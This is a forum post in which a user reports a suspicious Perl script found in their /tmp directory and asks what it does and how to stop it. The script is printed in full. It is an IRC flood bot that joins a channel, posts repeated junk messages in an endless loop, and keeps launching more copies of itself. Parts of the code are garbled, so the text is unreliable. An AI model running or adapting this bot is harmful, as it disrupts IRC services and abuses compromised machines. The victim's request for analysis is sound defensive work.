flooding supecious file ( pls help)

HI,

we have go supecious file in our /tmp dir. Here is the code . Can you guys knwo waht is happening?. How could we avoid these?
Any help would be appreciated.

!/usr/bin/perl

use IO:flooding supecious file ( pls help)ocket;

$ARGC=@ARGV;

$serv=$ARGV[0];
$chan=$ARGV[1];
$botnick=$ARGV[2];


$sock = IO:flooding supecious file ( pls help)ocket::INET->new(
PeerAddr => $serv,
PeerPort => 6667,
Proto => 'tcp' ) or die "****";

while($line = <$sock>){
print $line;

sleep 3;
print $sock "NICK $botnick\nUSER bot 0 0 :CCS bot\n";
last;

}

while($line = <$sock>){
print $line;
#use next line if the server asks for a ping
if($line =~ /^PING/){
print $sock "PONG :" . (split(/ :/, $line))[1];
}
if($line =~ /(376|422)/i){
print $sock "NICKSERV :identify nick_password\n";
last;
}
}

sleep 3;
print $sock "JOIN #$chan\n";
sleep 2;
print $sock "PRIVMSG #$chan :elite hackbot connected\n";

while ($line = <$sock>) {
($command, $text) = split(/ :/, $line); #$text is the stuff from the p
ing or the text from the server

if ($command eq 'PING'){
while ( (index($text,"\r") >= 0) || (index($text,"\n") >= 0) ){
chop($text); }
print $sock "PONG $text\n";
next;
}


while(1){
print $sock "PRIVMSG #$chan :<D9><C0> <C2><D1><C5><CC> <CF><C8><C7><C4><C0> <CF>
<D0><C8><C4><C5><D2> !<D9><C0> <C2><D1><C5><CC> <CF><C8><C7><C4><C0> <CF><D0>
<C8><C4><C5><D2> !<D9><C0> <C2><D1><C5><CC> <CF><C8><C7><C4><C0> <CF><D0><C8>
<C4><C5><D2> !<D9><C0> <C2><D1><C5><CC> <CF><C8><C7><C4><C0> <CF><D0><C8><C4>
<C5><D2> !<D9><C0> <C2><D1><C5><CC> <CF><C8><C7><C4><C0> <CF><D0><C8><C4><C5>
<D2> !<D9><C0> <C2><D1><C5><CC> <CF><C8><C7><C4><C0> <CF><D0><C8><C4><C5><D2> !
<D9><C0> <C2><D1><C5><CC> <CF><C8><C7><C4><C0> <CF><D0><C8><C4><C5><D2> !<D9>
<C0> <C2><D1><C5><CC> <CF><C8><C7><C4><C0> <CF><D0><C8><C4><C5><D2> !<D9><C0>
<C2><D1><C5><CC> <CF><C8><C7><C4><C0> <CF><D0><C8><C4><C5><D2> !<D9><C0> <C2>
<D1><C5><CC> <CF><C8><C7><C4><C0> <CF><D0><C8><C4><C5><D2> !<D9><C0> <C2><D1>
<C5><CC> <CF><C8><C7><C4><C0> <CF><D0><C8><C4><C5><D2> !<D9><C0> <C2><D1><C5>
<CC> <CF><C8><C7><C4><C0> <CF><D0><C8><C4><C5><D2> !<D9><C0> <C2><D1><C5><CC>
<CF><C8><C7><C4><C0> <CF><D0><C8><C4><C5><D2> !<D9><C0> <C2><D1><C5><CC> <CF>
<C8><C7><C4><C0> <CF><D0><C8><C4><C5><D2> !<D9><C0> <C2><D1><C5><CC> <CF><C8>
:
$i=int(rand(1000));
$botnick='flood'.$i;
system("perl bot1.pl $serv $chan $botnick > res &")
}

($nick,$type,$channel) = split(/ /, $line);

($nick,$hostname) = split(/!/, $nick);

$nick =~ s/://;
$text =~ s/://;

$/ = "\r\n";
while($text =~ m#$/$#){ chomp($text); }

f($channel eq '#$chan'){
print "<$nick> $text";

if($text =~ /hi/gi){
print $sock "PRIVMSG #$chan :hi $nick\n";
}
}
}

thanks

 

 

 

 

Top